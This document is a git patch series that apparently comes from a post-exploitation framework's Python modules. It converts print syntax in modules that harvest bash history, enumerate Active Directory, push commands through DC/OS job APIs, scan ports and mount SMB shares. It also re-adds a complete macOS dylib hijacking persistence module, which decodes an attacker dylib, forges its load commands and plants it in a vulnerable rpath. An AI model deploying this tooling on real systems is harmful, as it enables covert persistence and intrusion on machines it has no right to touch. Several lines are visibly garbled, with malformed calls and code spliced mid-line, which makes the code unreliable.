print(" - History count size: " + str(len(HistoryResult))) for item in HistoryResult[HistoryCount:]: - print " * " + str(item.strip()) - print "[*] SSH commands in History: " + print(" * " + str(item.strip())) + print("[*] SSH commands in History: ") for item in HistoryResult: if "ssh" in item.lower(): - print " * " + str(item.strip()) + print(" * " + str(item.strip())) except Exception as e: if Debug: - print "[!] Error enumerating user bash_history: " + str(e) + print("[!] Error enumerating user bash_history: " + str(e)) pass # Enum Wireless Connectivity Info @@ -242,21 +242,21 @@ def generate(self, obfuscate=False, obfuscationCommand=""): wireless = process.communicate() if wireless[0] != '': wireless = wireless[0].split('\\n') - print "[*] Wireless Connectivity Info:" + print("[*] Wireless Connectivity Info:") for x in wireless: if x: - print " - " + str(x.strip()) + print(" - " + str(x.strip())) else: - print + print() except Exception as e: if Debug: - print "[!] Error enumerating user Wireless Connectivity Info: " + str(e) + print("[!] Error enumerating user Wireless Connectivity Info: " + str(e)) pass # Enum AV / Protection Software except Exception as e: - print e""" + print(e)""" # add any arguments to the end exec diff --git a/lib/modules/python/situational_awareness/network/active_directory/dscl_get_groupmembers.py b/lib/modules/python/situational_awareness/network/active_directory/dscl_get_groupmembers.py index cd6a1cf05..f7af84350 100644 --- a/lib/modules/python/situational_awareness/network/active_directory/dscl_get_groupmembers.py +++ b/lib/modules/python/situational_awareness/network/active_directory/dscl_get_groupmembers.py @@ -83,7 +83,7 @@ def generate(self, obfuscate=False, obfuscationCommand=""): cmd = \"""dscl /Search read "/Groups/%s" GroupMembership\""" -print subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).stdout.read() +print(subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).stdout.read()) """ % (group) return script diff --git a/lib/modules/python/situational_awareness/network/active_directory/dscl_get_groups.py b/lib/modules/python/situational_awareness/network/active_directory/dscl_get_groups.py index be359be20..9c594afaa 100644 --- a/lib/modules/python/situational_awareness/network/active_directory/dscl_get_groups.py +++ b/lib/modules/python/situational_awareness/network/active_directory/dscl_get_groups.py @@ -83,7 +83,7 @@ def generate(self, obfuscate=False, obfuscationCommand=""): cmd = \"""dscl "/Active Directory/%s/All Domains/" -list /Groups\""" -print subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).stdout.read() +print(subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).stdout.read()) """ % (domain) return script diff --git a/lib/modules/python/situational_awareness/network/active_directory/dscl_get_users.py b/lib/modules/python/situational_awareness/network/active_directory/dscl_get_users.py index 89864fc1b..329eb3950 100644 --- a/lib/modules/python/situational_awareness/network/active_directory/dscl_get_users.py +++ b/lib/modules/python/situational_awareness/network/active_directory/dscl_get_users.py @@ -83,7 +83,7 @@ def generate(self, obfuscate=False, obfuscationCommand=""): cmd = \"""dscl "/Active Directory/%s/All Domains/" -list /Users\""" -print subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).stdout.read() +print(subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).stdout.read()) """ % (domain) return script diff --git a/lib/modules/python/situational_awareness/network/active_directory/get_computers.py b/lib/modules/python/situational_awareness/network/active_directory/get_computers.py index 3d90f6316..cf592e6d4 100644 --- a/lib/modules/python/situational_awareness/network/active_directory/get_computers.py +++ b/lib/modules/python/situational_awareness/network/active_directory/get_computers.py @@ -112,8 +112,8 @@ def generate(self, obfuscate=False, obfuscationCommand=""): output2 = subprocess.Popen(["grep", "name:"],stdin=output.stdout, stdout=subprocess.PIPE,universal_newlines=True) output.stdout.close() out,err = output2.communicate() -print "" -print out +print("") +print(out_ """ % (BindDN, LDAPAddress, password) return script diff --git a/lib/modules/python/situational_awareness/network/active_directory/get_domaincontrollers.py b/lib/modules/python/situational_awareness/network/active_directory/get_domaincontrollers.py index 7985a4ed3..a5a29d8c0 100644 --- a/lib/modules/python/situational_awareness/network/active_directory/get_domaincontrollers.py +++ b/lib/modules/python/situational_awareness/network/active_directory/get_domaincontrollers.py @@ -112,8 +112,8 @@ def generate(self, obfuscate=False, obfuscationCommand=""): output2 = subprocess.Popen(["grep", "name:"],stdin=output.stdout, stdout=subprocess.PIPE,universal_newlines=True) output.stdout.close() out,err = output2.communicate() -print "" -print out +print("") +print(out) """ % (BindDN, LDAPAddress, password) return script diff --git a/lib/modules/python/situational_awareness/network/active_directory/get_fileservers.py b/lib/modules/python/situational_awareness/network/active_directory/get_fileservers.py index e8d9d73d3..2ab264ee6 100644 --- a/lib/modules/python/situational_awareness/network/active_directory/get_fileservers.py +++ b/lib/modules/python/situational_awareness/network/active_directory/get_fileservers.py @@ -109,16 +109,16 @@ def generate(self, obfuscate=False, obfuscationCommand=""): cmd = \"""ldapsearch -x -h {} -b "dc={},dc={}" -D {} -w {} "(&(samAccountType=805306368))" ""\".format(LDAPAddress, tld, ext, BindDN, password) output = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, bufsize=1) with output.stdout: - print "" + print("") for line in iter(output.stdout.readline, b''): if ("homeDirectory" or "scriptPath" or "profilePath") in line: - print "Results:" - print "" + print("Results:") + print("") m = re.search(r'([^\]*)', line) if m: - print m.group(1) + print(m.group(1)) output.wait() -print "" +print("") """ % (BindDN, LDAPAddress, password) return script diff --git a/lib/modules/python/situational_awareness/network/active_directory/get_groupmembers.py b/lib/modules/python/situational_awareness/network/active_directory/get_groupmembers.py index ac3528658..e05620194 100644 --- a/lib/modules/python/situational_awareness/network/active_directory/get_groupmembers.py +++ b/lib/modules/python/situational_awareness/network/active_directory/get_groupmembers.py @@ -120,8 +120,8 @@ def generate(self, obfuscate=False, obfuscationCommand=""): output2 = subprocess.Popen(["grep", "member:"],stdin=output.stdout, stdout=subprocess.PIPE,universal_newlines=True) output.stdout.close() out,err = output2.communicate() -print "" -print out +print("") +print(out) """ % (BindDN, LDAPAddress, password, groupname) return script diff --git a/lib/modules/python/situational_awareness/network/active_directory/get_groupmemberships.py b/lib/modules/python/situational_awareness/network/active_directory/get_groupmemberships.py index 60c11bdae..cd446efaf 100644 --- a/lib/modules/python/situational_awareness/network/active_directory/get_groupmemberships.py +++ b/lib/modules/python/situational_awareness/network/active_directory/get_groupmemberships.py @@ -120,8 +120,8 @@ def generate(self, obfuscate=False, obfuscationCommand=""): output2 = subprocess.Popen(["grep", "memberOf:"],stdin=output.stdout, stdout=subprocess.PIPE,universal_newlines=True) output.stdout.close() out,err = output2.communicate() -print "" -print out +print("") +print(out) """ % (BindDN, LDAPAddress, password, user) return script diff --git a/lib/modules/python/situational_awareness/network/active_directory/get_groups.py b/lib/modules/python/situational_awareness/network/active_directory/get_groups.py index 18b4b9f21..6c95075ac 100644 --- a/lib/modules/python/situational_awareness/network/active_directory/get_groups.py +++ b/lib/modules/python/situational_awareness/network/active_directory/get_groups.py @@ -112,8 +112,8 @@ def generate(self, obfuscate=False, obfuscationCommand=""): output2 = subprocess.Popen(["grep", "name:"],stdin=output.stdout, stdout=subprocess.PIPE,universal_newlines=True) output.stdout.close() out,err = output2.communicate() -print "" -print out +print("") +print(out) """ % (BindDN, LDAPAddress, password) return script diff --git a/lib/modules/python/situational_awareness/network/active_directory/get_ous.py b/lib/modules/python/situational_awareness/network/active_directory/get_ous.py index 961cb9627..dbc63a43e 100644 --- a/lib/modules/python/situational_awareness/network/active_directory/get_ous.py +++ b/lib/modules/python/situational_awareness/network/active_directory/get_ous.py @@ -112,8 +112,8 @@ def generate(self, obfuscate=False, obfuscationCommand=""): output2 = subprocess.Popen(["grep", "ou:"],stdin=output.stdout, stdout=subprocess.PIPE,universal_newlines=True) output.stdout.close() out,err = output2.communicate() -print "" -print out +print("") +print(out) """ % (BindDN, LDAPAddress, password) return script diff --git a/lib/modules/python/situational_awareness/network/active_directory/get_userinformation.py b/lib/modules/python/situational_awareness/network/active_directory/get_userinformation.py index bda8e02b3..7e2837c6f 100644 --- a/lib/modules/python/situational_awareness/network/active_directory/get_userinformation.py +++ b/lib/modules/python/situational_awareness/network/active_directory/get_userinformation.py @@ -116,8 +116,8 @@ def generate(self, obfuscate=False, obfuscationCommand=""): cmd = \"""ldapsearch -x -h {} -b "dc={},dc={}" -D {} -w {} "(samAccountName="{}")" ""\".format(LDAPAddress, tld, ext, BindDN, password, user) -print "" -print subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE).stdout.read() +print("") +print(subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE).stdout.read()) """ % (BindDN, LDAPAddress, password, user) return script diff --git a/lib/modules/python/situational_awareness/network/active_directory/get_users.py b/lib/modules/python/situational_awareness/network/active_directory/get_users.py index d118dd19e..457545a24 100644 --- a/lib/modules/python/situational_awareness/network/active_directory/get_users.py +++ b/lib/modules/python/situational_awareness/network/active_directory/get_users.py @@ -109,14 +109,14 @@ def generate(self, obfuscate=False, obfuscationCommand=""): cmd = \"""ldapsearch -x -h {} -b "dc={},dc={}" -D {} -w {} "objectclass=user" sAMAccountName""\".format(LDAPAddress, tld, ext, BindDN, password) output = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, bufsize=1) with output.stdout: - print "" + print("") for line in iter(output.stdout.readline, b''): if ("sAMAccountName:") in line: if '$' not in line: m = re.search(r'[^sAMAccountName:].*$', line) - print m.group(0).lstrip() + print(m.group(0).lstrip()) output.wait() -print "" +print("") """ % (BindDN, LDAPAddress, password) return script diff --git a/lib/modules/python/situational_awareness/network/dcos/chronos_api_add_job.py b/lib/modules/python/situational_awareness/network/dcos/chronos_api_add_job.py index 394adb151..7411bddf6 100644 --- a/lib/modules/python/situational_awareness/network/dcos/chronos_api_add_job.py +++ b/lib/modules/python/situational_awareness/network/dcos/chronos_api_add_job.py @@ -154,9 +154,9 @@ def generate(self, obfuscate=False, obfuscationCommand=""): request.add_header('Content-Type', 'application/json') opener = urllib2.build_opener(urllib2.HTTPHandler) content = opener.open(request).read() - print str(content) + print(str(content)) except Exception as e: - print "Failure sending payload: " + str(e) + print("Failure sending payload: " + str(e)) print "Finished" """ %(target, port, name, command, owner, ownerName, description, schedule, last) diff --git a/lib/modules/python/situational_awareness/network/dcos/marathon_api_create_start_app.py b/lib/modules/python/situational_awareness/network/dcos/marathon_api_create_start_app.py index b73e44525..61bb7cea6 100644 --- a/lib/modules/python/situational_awareness/network/dcos/marathon_api_create_start_app.py +++ b/lib/modules/python/situational_awareness/network/dcos/marathon_api_create_start_app.py @@ -165,7 +165,7 @@ def generate(self, obfuscate=False, obfuscationCommand=""): data += '}' - print str(data) + print(str(data)) request = urllib2.Request(url, data) request.add_header('User-Agent', 'Mozilla/6.0 (X11; Linux x86_64; rv:24.0) ' @@ -173,11 +173,11 @@ def generate(self, obfuscate=False, obfuscationCommand=""): request.add_header('Content-Type', 'application/json') opener = urllib2.build_opener(urllib2.HTTPHandler) content = opener.open(request).read() - print str(content) + print(str(content)) except Exception as e: - print "Failure sending payload: " + str(e) + print("Failure sending payload: " + str(e)) -print "Finished" +print("Finished") """ %(target, port, appId, cmd, cpus, mem, disk, instances) return script diff --git a/lib/modules/python/situational_awareness/network/find_fruit.py b/lib/modules/python/situational_awareness/network/find_fruit.py index fc0d4b9fa..73da0ad79 100644 --- a/lib/modules/python/situational_awareness/network/find_fruit.py +++ b/lib/modules/python/situational_awareness/network/find_fruit.py @@ -143,7 +143,7 @@ def printCIDR(c): subnet = int(parts[1]) if subnet == 32: - print bin2ip(baseIP) + print(bin2ip(baseIP)) else: ipPrefix = baseIP[:-(32-subnet)] @@ -156,7 +156,7 @@ def validateCIDRBlock(b): p = re.compile("^([0-9]{1,3}\.){0,3}[0-9]{1,3}(/[0-9]{1,2}){1}$") if not p.match(b): - print "Error: Invalid CIDR format!" + print("Error: Invalid CIDR format!") return False prefix, subnet = b.split("/") @@ -164,11 +164,11 @@ def validateCIDRBlock(b): quads = prefix.split(".") for q in quads: if (int(q) < 0) or (int(q) > 255): - print "Error: quad "+str(q)+" wrong size." + print("Error: quad "+str(q)+" wrong size.") return False if (int(subnet) < 1) or (int(subnet) > 32): - print "Error: subnet "+str(subnet)+" wrong size." + print("Error: subnet "+str(subnet)+" wrong size.") return False return True @@ -181,7 +181,7 @@ def http_get(url): resp = urllib2.urlopen(req, timeout = 1) code = resp.getcode() if code == 200: - print url + " returned 200!" + print(url + " returned 200!") return @@ -232,7 +232,7 @@ def main(ip, port, ssl): resp = urllib2.urlopen(req, timeout = 1) code = resp.getcode() if code == 200: - print link + " returned 200!" + print(link + " returned 200!") break except urllib2.URLError: break diff --git a/lib/modules/python/situational_awareness/network/gethostbyname.py b/lib/modules/python/situational_awareness/network/gethostbyname.py index f4d928a4c..df8a205d9 100644 --- a/lib/modules/python/situational_awareness/network/gethostbyname.py +++ b/lib/modules/python/situational_awareness/network/gethostbyname.py @@ -82,9 +82,9 @@ def main(target): return_Str = '' try: return_Str = str(socket.gethostbyname(target)) - print "{} resolved to {} !".format(target, return_Str) + print("{} resolved to {} !".format(target, return_Str)) except socket.error: - print "{} failed to resolve :(".format(target) + print("{} failed to resolve :(".format(target)) target = "%s" diff --git a/lib/modules/python/situational_awareness/network/http_rest_api.py b/lib/modules/python/situational_awareness/network/http_rest_api.py index 8e689b3ea..0bc1bfc39 100644 --- a/lib/modules/python/situational_awareness/network/http_rest_api.py +++ b/lib/modules/python/situational_awareness/network/http_rest_api.py @@ -135,11 +135,11 @@ def get_method(self, *args, **kwargs): 'Gecko/20140205 Firefox/27.0 Iceweasel/25.3.0') opener = urllib2.build_opener(urllib2.HTTPHandler) content = opener.open(request).read() - print str(content) + print(str(content)) except Exception as e: - print "Failure sending payload: " + str(e) + print("Failure sending payload: " + str(e)) -print "Finished" +print("Finished") """ %(protocol, target, port, path, requmethod) return script diff --git a/lib/modules/python/situational_awareness/network/port_scan.py b/lib/modules/python/situational_awareness/network/port_scan.py index 3bfd03ba0..5922b4f6b 100644 --- a/lib/modules/python/situational_awareness/network/port_scan.py +++ b/lib/modules/python/situational_awareness/network/port_scan.py @@ -137,7 +137,7 @@ def printCIDR(c): subnet = int(parts[1]) if subnet == 32: - print bin2ip(baseIP) + print(bin2ip(baseIP)) else: ipPrefix = baseIP[:-(32-subnet)] @@ -150,7 +150,7 @@ def validateCIDRBlock(b): p = re.compile("^([0-9]{1,3}\.){0,3}[0-9]{1,3}(/[0-9]{1,2}){1}$") if not p.match(b): - print "Error: Invalid CIDR format!" + print("Error: Invalid CIDR format!") return False prefix, subnet = b.split("/") @@ -158,11 +158,11 @@ def validateCIDRBlock(b): quads = prefix.split(".") for q in quads: if (int(q) < 0) or (int(q) > 255): - print "Error: quad "+str(q)+" wrong size." + print("Error: quad "+str(q)+" wrong size.") return False if (int(subnet) < 1) or (int(subnet) > 32): - print "Error: subnet "+str(subnet)+" wrong size." + print("Error: subnet "+str(subnet)+" wrong size.") return False return True @@ -176,9 +176,9 @@ def portscan(target,port): s.connect((target, port)) except Exception: failvar = 0 - print "Host {} {}/tcp closed".format(target, port) + print("Host {} {}/tcp closed".format(target, port)) else: - print "Host {} {}/tcp open".format(target, port) + print("Host {} {}/tcp open".format(target, port)) s.close() diff --git a/lib/modules/python/situational_awareness/network/smb_mount.py b/lib/modules/python/situational_awareness/network/smb_mount.py index 0798808ff..c94bd7334 100644 --- a/lib/modules/python/situational_awareness/network/smb_mount.py +++ b/lib/modules/python/situational_awareness/network/smb_mount.py @@ -132,19 +132,19 @@ def generate(self, obfuscate=False, obfuscationCommand=""): subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE).stdout.read() cmd1 = \"""mount_smbfs //'{};{}:{}'@{} /Volumes/{}""\".format(domain,username,password,sharename,mountpoint) -print subprocess.Popen(cmd1, shell=True, stdout=subprocess.PIPE).stdout.read() -print "" +print(subprocess.Popen(cmd1, shell=True, stdout=subprocess.PIPE).stdout.read()) +print("") cmd2 = \"""{} /Volumes/{}""\".format(command,mountpoint) -print subprocess.Popen(cmd2, shell=True, stdout=subprocess.PIPE).stdout.read() -print "" +print(subprocess.Popen(cmd2, shell=True, stdout=subprocess.PIPE).stdout.read()) +print("") -print "" -print subprocess.Popen('diskutil unmount force /Volumes/{}', shell=True, stdout=subprocess.PIPE).stdout.read().format(mountpoint) -print "" -print "Finished" +print("") +print?(subprocess.Popen('diskutil unmount force /Volumes/{}', shell=True, stdout=subprocess.PIPE).stdout.read().format(mountpoint)) +print("") +print("Finished") diff --git a/lib/modules/python/trollsploit/osx/change_background.py b/lib/modules/python/trollsploit/osx/change_background.py index 732a8cf6b..7274444d8 100644 --- a/lib/modules/python/trollsploit/osx/change_background.py +++ b/lib/modules/python/trollsploit/osx/change_background.py @@ -102,19 +102,19 @@ def generate(self, obfuscate=False, obfuscationCommand=""): try: cmd = \"""osascript -e 'tell application "Finder" to set desktop picture to "%s" as POSIX file'""\" process = subprocess.Popen(cmd, stdout=subprocess.PIPE, shell=True) - print "Desktop background changed!" + print("Desktop background changed!") except Exception as e: - print "Changing desktop background failed" - print e + print("Changing desktop background failed") + print(e) if login == True: try: cmd = \"""cp %s /Library/Caches/com.apple.desktop.admin.png""\" process = subprocess.Popen(cmd, stdout=subprocess.PIPE, shell=True) - print "Login background changed!" + print("Login background changed!") except Exception as e: - print "Changing login background failed" - print e + print("Changing login background failed") + print(e) """ % (desktop, login, image, image) diff --git a/lib/modules/python/trollsploit/osx/login_message.py b/lib/modules/python/trollsploit/osx/login_message.py index 973137219..59ef4f9ac 100644 --- a/lib/modules/python/trollsploit/osx/login_message.py +++ b/lib/modules/python/trollsploit/osx/login_message.py @@ -94,20 +94,20 @@ def generate(self, obfuscate=False, obfuscationCommand=""): if remove == True: cmd = \"""defaults delete /Library/Preferences/com.apple.loginwindow LoginwindowText""\" process = subprocess.Popen(cmd, stdout=subprocess.PIPE, shell=True) - print "Login message removed" + print("Login message removed") elif remove == False: cmd = \"""defaults write /Library/Preferences/com.apple.loginwindow LoginwindowText '%s' ""\" process = subprocess.Popen(cmd, stdout=subprocess.PIPE, shell=True) - print "Login message added" + print("Login message added") else: - print "Invalid options" + print("Invalid options") except Exception as e: - print "Module failed" - print e + print("Module failed") + print(e) """ % (remove, message) diff --git a/lib/modules/python/trollsploit/osx/thunderstruck.py b/lib/modules/python/trollsploit/osx/thunderstruck.py index 00f77dbbf..8e0e70d06 100644 --- a/lib/modules/python/trollsploit/osx/thunderstruck.py +++ b/lib/modules/python/trollsploit/osx/thunderstruck.py @@ -79,11 +79,11 @@ def generate(self, obfuscate=False, obfuscationCommand=""): process1 = subprocess.Popen(volume, stdout=subprocess.PIPE, shell=True) cmd = \"""open -a "Safari" -g -j https://www.youtube.com/watch?v=v2AC41dglnM""\" process2 = subprocess.Popen(cmd, stdout=subprocess.PIPE, shell=True) - print "Thunderstruck engaged!" + print("Thunderstruck engaged!") except Exception as e: - print "Module failed" - print e + print("Module failed") + print(e) """ return script From e9416f8bff05ca96ac7d9e8201cadb7156fc0320 Mon Sep 17 00:00:00 2001 From: Cx01N Date: Mon, 13 Apr 2020 19:30:10 -0400 Subject: [PATCH 04/14] added createhijacker.py back in --- .../python/persistence/osx/CreateHijacker.py | 432 ++++++++++++++++++ 1 file changed, 432 insertions(+) diff --git a/lib/modules/python/persistence/osx/CreateHijacker.py b/lib/modules/python/persistence/osx/CreateHijacker.py index 2825e99ab..4c3f751ac 100644 --- a/lib/modules/python/persistence/osx/CreateHijacker.py +++ b/lib/modules/python/persistence/osx/CreateHijacker.py @@ -116,7 +116,439 @@ def generate(self, obfuscate=False, obfuscationCommand=""): vrpath = self.options['VulnerableRPATH']['Value'] script = """ +from ctypes import * +def run(attackerDYLIB): + import ctypes + import io + import os + import sys + import fcntl + import shutil + import struct + import stat + + + LC_REQ_DYLD = 0x80000000 + LC_LOAD_WEAK_DYLIB = LC_REQ_DYLD | 0x18 + LC_RPATH = (0x1c | LC_REQ_DYLD) + LC_REEXPORT_DYLIB = 0x1f | LC_REQ_DYLD + + ( + LC_SEGMENT, LC_SYMTAB, LC_SYMSEG, LC_THREAD, LC_UNIXTHREAD, LC_LOADFVMLIB, + LC_IDFVMLIB, LC_IDENT, LC_FVMFILE, LC_PREPAGE, LC_DYSYMTAB, LC_LOAD_DYLIB, + LC_ID_DYLIB, LC_LOAD_DYLINKER, LC_ID_DYLINKER, LC_PREBOUND_DYLIB, + LC_ROUTINES, LC_SUB_FRAMEWORK, LC_SUB_UMBRELLA, LC_SUB_CLIENT, + LC_SUB_LIBRARY, LC_TWOLEVEL_HINTS, LC_PREBIND_CKSUM + ) = range(0x1, 0x18) + + MH_MAGIC = 0xfeedface + MH_CIGAM = 0xcefaedfe + MH_MAGIC_64 = 0xfeedfacf + MH_CIGAM_64 = 0xcffaedfe + + _CPU_ARCH_ABI64 = 0x01000000 + + CPU_TYPE_NAMES = { + -1: 'ANY', + 1: 'VAX', + 6: 'MC680x0', + 7: 'i386', + _CPU_ARCH_ABI64 | 7: 'x86_64', + 8: 'MIPS', + 10: 'MC98000', + 11: 'HPPA', + 12: 'ARM', + 13: 'MC88000', + 14: 'SPARC', + 15: 'i860', + 16: 'Alpha', + 18: 'PowerPC', + _CPU_ARCH_ABI64 | 18: 'PowerPC64', + } + + + + #structs that we need + + class mach_header(ctypes.Structure): + + _fields_ = [ + + ("magic", ctypes.c_uint), + ("cputype", ctypes.c_uint), + ("cpusubtype", ctypes.c_uint), + ("filetype", ctypes.c_uint), + ("ncmds", ctypes.c_uint), + ("sizeofcmds", ctypes.c_uint), + ("flags", ctypes.c_uint) + + ] + + class mach_header_64(ctypes.Structure): + _fields_ = mach_header._fields_ + [('reserved',ctypes.c_uint)] + + class load_command(ctypes.Structure): + _fields_ = [ + ("cmd", ctypes.c_uint), + ("cmdsize", ctypes.c_uint) + ] + + + LC_HEADER_SIZE = 0x8 + + + def checkPrereqs(attackerDYLIB, targetDYLIB): + + + if not os.path.exists(attackerDYLIB): + + + print('ERROR: dylib \\'%%s\\' not found' %% (attackerDYLIB)) + return False + + + if not os.path.exists(targetDYLIB): + + + print('ERROR: dylib \\'%%s\\' not found' %% (targetDYLIB)) + return False + + attacker = open(attackerDYLIB) + target = open(targetDYLIB) + + attackerHeader = mach_header.from_buffer_copy(attacker.read(28)) + targetHeader = mach_header.from_buffer_copy(target.read(28)) + + if attackerHeader.cputype != targetHeader.cputype: + print('ERROR: Architecture mismatch') + attacker.close() + target.close() + return False + + return True + + + def findLoadCommand(fileHandle, targetLoadCommand): + + + MACHHEADERSZ64 = 32 + MACHHEADERSZ = 28 + matchedOffsets = [] + #wrap + try: + header = mach_header.from_buffer_copy(fileHandle.read(MACHHEADERSZ)) + if header.magic == MH_MAGIC_64: + fileHandle.seek(0, io.SEEK_SET) + header = mach_header_64.from_buffer_copy(fileHandle.read(MACHHEADERSZ64)) + ncmds = header.ncmds + + # Get to the load commands + current = fileHandle.tell() #save offset to load command + + for cmd in range(ncmds): + + offset = current + lc = load_command.from_buffer_copy(fileHandle.read(LC_HEADER_SIZE)) + size = lc.cmdsize + if lc.cmd == targetLoadCommand: + + matchedOffsets.append(offset) + + fileHandle.seek(size - LC_HEADER_SIZE, io.SEEK_CUR) + current = fileHandle.tell() + + #exceptions + except Exception, e: + + #err msg + print('EXCEPTION (finding load commands): %%s' %% e) + + #reset + matchedOffsets = None + + return matchedOffsets + + #configure version info + # 1) find/extract version info from target .dylib + # 2) find/update version info from hijacker .dylib to match target .dylib + def configureVersions(attackerDYLIB, targetDYLIB): + + #wrap + try: + + #dbg msg + print(' [+] parsing \\'%%s\\' to extract version info' %% (os.path.split(targetDYLIB)[1])_ + + #open target .dylib + fileHandle = open(targetDYLIB, 'rb') + + #find LC_ID_DYLIB load command + # ->and check + versionOffsets = findLoadCommand(fileHandle, LC_ID_DYLIB) + if not versionOffsets or not len(versionOffsets): + + #err msg + print('ERROR: failed to find \\'LC_ID_DYLIB\\' load command in %%s' %% (os.path.split(targetDYLIB)[1])) + + #bail + return False + + #dbg msg + print(' found \\'LC_ID_DYLIB\\' load command at offset(s): %%s' %% (versionOffsets)) + + #seek to offset of LC_ID_DYLIB + fileHandle.seek(versionOffsets[0], io.SEEK_SET) + + #seek to skip over LC header and timestamp + fileHandle.seek(LC_HEADER_SIZE+0x8, io.SEEK_CUR) + + ''' + struct dylib { union lc_str name; uint_32 timestamp; uint_32 current_version; uint_32 compatibility_version; }; + ''' + + #extract current version + currentVersion = fileHandle.read(4) + + #extract compatibility version + compatibilityVersion = fileHandle.read(4) + + #dbg msg(s) + print(' extracted current version: 0x%%x' %% (struct.unpack('and check + versionOffsets = findLoadCommand(fileHandle, LC_ID_DYLIB) + if not versionOffsets or not len(versionOffsets): + + #err msg + print('ERROR: failed to find \\'LC_ID_DYLIB\\' load command in %%s' %% (os.path.split(attackerDYLIB)[1])) + + #bail + return False + + #dbg msg(s) + print(' found \\'LC_ID_DYLIB\\' load command at offset(s): %%s' %% (versionOffsets)) + print(' [+] updating version info in %%s to match %%s' %% ((os.path.split(attackerDYLIB)[1]), (os.path.split(targetDYLIB)[1]))) + + #update version info + for versionOffset in versionOffsets: + + #seek to offset of LC_ID_DYLIB + fileHandle.seek(versionOffset, io.SEEK_SET) + + #seek to skip over LC header and timestamp + fileHandle.seek(LC_HEADER_SIZE+0x8, io.SEEK_CUR) + + #dbg msg + print('setting version info at offset %%s' %% (versionOffset)) + + #set current version + fileHandle.write(currentVersion) + + #set compatability version + fileHandle.write(compatibilityVersion) + + #close + fileHandle.close() + + except Exception, e: + + #err msg + print 'EXCEPTION (configuring version info): %%s' %% e + + + return True + + #configure re-export + # ->update hijacker .dylib to re-export everything to target .dylib + def configureReExport(attackerDYLIB, targetDYLIB): + + #wrap + try: + + #dbg msg + print ' [+] parsing \\'%%s\\' to extract faux re-export info' %% (os.path.split(attackerDYLIB)[1]) + + #open attacker's .dylib + fileHandle = open(attackerDYLIB, 'rb+') + + #find LC_REEXPORT_DYLIB load command + # ->and check + reExportOffsets = findLoadCommand(fileHandle, LC_REEXPORT_DYLIB) + if not reExportOffsets or not len(reExportOffsets): + + #err msg + print 'ERROR: failed to find \\'LC_REEXPORT_DYLIB\\' load command in %%s' %% (os.path.split(attackerDYLIB)[1]) + + #bail + return False + + #dbg msg + print ' found \\'LC_REEXPORT_DYLIB\\' load command at offset(s): %%s' %% (reExportOffsets) + + ''' + struct dylib { union lc_str name; uint_32 timestamp; uint_32 current_version; uint_32 compatibility_version; }; + ''' + + #update re-export info + #TODO: does the current and compat version need to match? we can easily set it + for reExportOffset in reExportOffsets: + + #seek to offset of LC_REEXPORT_DYLIB + fileHandle.seek(reExportOffset, io.SEEK_SET) + + #seek to skip over command + fileHandle.seek(0x4, io.SEEK_CUR) + + #read in size of load command + commandSize = struct.unpack('update attacker's .dylib to match target .dylib's version info + if not configureVersions(attackerDYLIB, targetDYLIB): + + #err msg + print 'ERROR: failed to configure version info' + + #bail + return False + + #configure re-export + # ->update attacker's .dylib to re-export everything to target .dylib + if not configureReExport(attackerDYLIB, targetDYLIB): + + #err msg + print 'ERROR: failed to configure re-export' + + #bail + return False + + return True + + + #target .dylib + targetDYLIB = "%s" + + vrpath = "%s" + + + #configured .dylib + configuredDYLIB = "" + + #init output path for configured .dylib + configuredDYLIB = os.path.split(attackerDYLIB)[0]+'/' + os.path.split(targetDYLIB)[1] + + #dbg msg + print ' [+] configuring %%s to hijack %%s' %% (os.path.split(attackerDYLIB)[1], os.path.split(targetDYLIB)[1]) + + #check prereqs + # ->i.e. sanity checks + if not checkPrereqs(attackerDYLIB, targetDYLIB): + + #err msg + print 'ERROR: prerequisite check failed\\n' + + #bail + return "" + + #configure the provide .dylib + if not configure(attackerDYLIB, targetDYLIB): + + #err msg + print 'ERROR: failed to configure %%s\\n' %% (os.path.split(targetDYLIB)[1]) + + #bail + return "" + + #dbg msg + print ' [+] copying configured .dylib to %%s' %% (configuredDYLIB) + + #make a (local) copy w/ name + shutil.copy2(attackerDYLIB, configuredDYLIB) + + os.remove(attackerDYLIB) + if not os.path.exists(os.path.split(vrpath)[0]): + os.makedirs(os.path.split(vrpath)[0]) + + os.chmod(configuredDYLIB, 0777) + shutil.copy2(configuredDYLIB, vrpath) + + os.remove(configuredDYLIB) + #dbg msg + + print '\\nHijacker created, renamed to %%s, and copied to %%s' %% (configuredDYLIB,vrpath) + +import base64 +import uuid +encbytes = "%s" +filename = str(uuid.uuid4()) +path = "/tmp/" + filename + ".dylib" +decodedDylib = base64.b64decode(encbytes) +temp = open(path,'wb') +temp.write(decodedDylib) +temp.close() +run(path) """ % (dylib,vrpath,encodedDylib) return script From e17ce94c7275ee533ada24c44efb524f9d06d549 Mon Sep 17 00:00:00 2001 From: Cx01N Date: Mon, 13 Apr 2020 19:33:47 -0400 Subject: [PATCH 05/14] even more python3 fixes --- .../python/persistence/osx/CreateHijacker.py | 32 +++++++++---------- .../network/dcos/chronos_api_add_job.py | 2 +- .../network/dcos/chronos_api_delete_job.py | 6 ++-- .../network/dcos/chronos_api_start_job.py | 6 ++-- .../network/dcos/etcd_crawler.py | 2 +- .../network/dcos/marathon_api_delete_app.py | 6 ++-- 6 files changed, 27 insertions(+), 27 deletions(-) diff --git a/lib/modules/python/persistence/osx/CreateHijacker.py b/lib/modules/python/persistence/osx/CreateHijacker.py index 4c3f751ac..8b033c552 100644 --- a/lib/modules/python/persistence/osx/CreateHijacker.py +++ b/lib/modules/python/persistence/osx/CreateHijacker.py @@ -365,7 +365,7 @@ def configureVersions(attackerDYLIB, targetDYLIB): except Exception, e: #err msg - print 'EXCEPTION (configuring version info): %%s' %% e + print('EXCEPTION (configuring version info): %%s' %% e) return True @@ -378,7 +378,7 @@ def configureReExport(attackerDYLIB, targetDYLIB): try: #dbg msg - print ' [+] parsing 